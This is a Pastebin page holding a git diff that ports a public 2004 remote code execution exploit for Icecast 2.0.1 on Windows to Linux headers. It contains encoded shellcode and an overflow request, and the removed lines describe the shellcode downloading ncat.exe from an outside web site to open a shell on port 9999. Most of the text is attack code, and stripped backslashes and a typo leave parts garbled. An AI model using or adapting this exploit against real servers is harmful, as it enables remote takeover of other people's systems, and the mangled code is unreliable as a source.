Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- diff --git a/568 b/568.c
- index f48249e..57d94bf 100644
- --- a/568
- +++ b/568.c
- @@ -1,40 +1,3 @@
- -/*
- -
- -by Luigi Auriemma
- -
- -Shellcode add-on by Delikon
- -www.Delikon.de
- -
- -Because of all the forbidden bytes in a http get request
- -i had to use a very small shellcode, which was blown up
- -by Msf::Encoder::PexAlphaNum. Great encoder.
- --------------------------------------------------------------------------
- -C:>iceexec 127.0.0.1
- -
- -Icecast <= 2.0.1 Win32 remote code execution 0.1
- -by Luigi Auriemma
- -e-mail: [email protected]
- -web:http://aluigi.altervista.org
- -
- -shellcode add-on by Delikon
- -www.delikon.de
- -
- -- target 127.0.0.1:8000
- -- send malformed data
- -
- -Server IS vulnerable!!!
- -
- -
- -C:>nc 127.0.0.1 9999
- -Microsoft Windows XP [Version 5.1.2600]
- -(C) Copyright 1985-2001 Microsoft Corp.
- -
- -C:Icecast2 Win32>
- ----------------------------------------------------------------------------
- -
- -
- -*/
- -
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- @@ -52,21 +15,20 @@ C:Icecast2 Win32>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- + #include <sys/time.h>
- #endif
- #define VER "0.1"
- #define PORT 8000
- -#define BUFFSZ2048
- +#define BUFFSZ 2048
- #define TIMEOUT 3
- -#define EXEC"GET / HTTP/1.0rn"
- - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
- - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
- - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
- - "arn" "arn" "arn" "arn" "arn" "arn" "arn"
- - "xcc"
- -//web download and execution shellcode
- -//which downloads http://www.elitehaven.net/ncat.exe
- -//this ncat spwans a shell on port 9999
- +#define EXEC "GET / HTTP/1.0rn"\
- + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
- + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
- + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
- + "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
- + "xcc"
- +
- char shellcode[] = "xEB"
- "x03x59xEBx05xE8xF8xFFxFFxFFx4Fx49x49x49x49x49x49x51x5Ax56x54"
- "x58x36x33x30x56x58x34x41x30x42x36x48x48x30x42x33x30x42x43x56"
- @@ -99,34 +61,25 @@ char shellcode[] = "xEB"
- "x32x50x46x45x36x46x47x4Fx42x50x46x43x36x41x56x46x37x50x32x45"
- "x36x4Ax37x45x46x42x50x5A";
- -
- -/*
- -in my example 0xcc is used to interrupt the code execution, you must
- -put your shellcode exactly there.
- -You don't need to call a shellcode offset (CALL ESP, JMP ESP and so
- -on) or doing any other annoying operation because the code flow
- -points directly there!!!
- -Cool and easy 8-)
- -*/
- -
- -
- +#ifdef WIN32
- int startWinsock(void)
- {
- WSADATA wsa;
- return WSAStartup(MAKEWORD(2,0),&wsa);
- }
- +#endif
- -int timeout(int sock);
- -u_long resolv(char *host);
- +int ti1meout(int sock);
- +__u_long resolv(char *host);
- void std_err(void);
- int main(int argc, char *argv[]) {
- - structsockaddr_in peer;
- + struct sockaddr_in peer;
- int sd;
- - u_short port = PORT;
- - u_charbuff[BUFFSZ];
- -UCHAR buf[4096];
- -UCHAR *pointer=NULL;
- + __u_short port = PORT;
- + __u_char buff[BUFFSZ];
- + char buf[4096];
- + char *pointer=NULL;
- setbuf(stdout, NULL);
- @@ -150,7 +103,6 @@ UCHAR *pointer=NULL;
- }
- #ifdef WIN32
- -
- startWinsock();
- #endif
- @@ -163,12 +115,12 @@ UCHAR *pointer=NULL;
- memset(buf,0x00,sizeof(buf));
- strcpy(buf,EXEC);
- -pointer =strrchr(buf,0xcc);
- + pointer =strrchr(buf,0xcc);
- -strcpy(pointer,shellcode);
- + strcpy(pointer,shellcode);
- -strcat(buf,"rn");
- -strcat(buf,"rn");
- + strcat(buf,"rn");
- + strcat(buf,"rn");
- printf("n- target %s:%hun",
- @@ -195,12 +147,12 @@ strcat(buf,"rn");
- }
- int timeout(int sock) {
- - structtimeval tout;
- - fd_setfd_read;
- + struct timeval tout;
- + fd_set fd_read;
- int err;
- - tout.tv_sec = TIMEOUT;
- - tout.tv_usec = 0;
- + tout.tv_sec = TIMEOUT;
- + tout.tv_usec = 0;
- FD_ZERO(&fd_read);
- FD_SET(sock, &fd_read);
- err = select(sock + 1, &fd_read, NULL, NULL, &tout);
- @@ -209,9 +161,9 @@ int timeout(int sock) {
- return(0);
- }
- -u_long resolv(char *host) {
- - structhostent *hp;
- - u_longhost_ip;
- +__u_long resolv(char *host) {
- + struct hostent *hp;
- + __u_long host_ip;
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- @@ -219,7 +171,7 @@ u_long resolv(char *host) {
- if(!hp) {
- printf("nError: Unable to resolve hostname (%s)n", host);
- exit(1);
- - } else host_ip = *(u_long *)(hp->h_addr);
- + } else host_ip = *(__u_long *)(hp->h_addr_list[0]);
- }
- return(host_ip);
- }
- @@ -231,4 +183,4 @@ u_long resolv(char *host) {
- }
- #endif
- -// milw0rm.com [2004-10-06]
- \ No newline at end of file
- +// milw0rm.com [2004-10-06]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement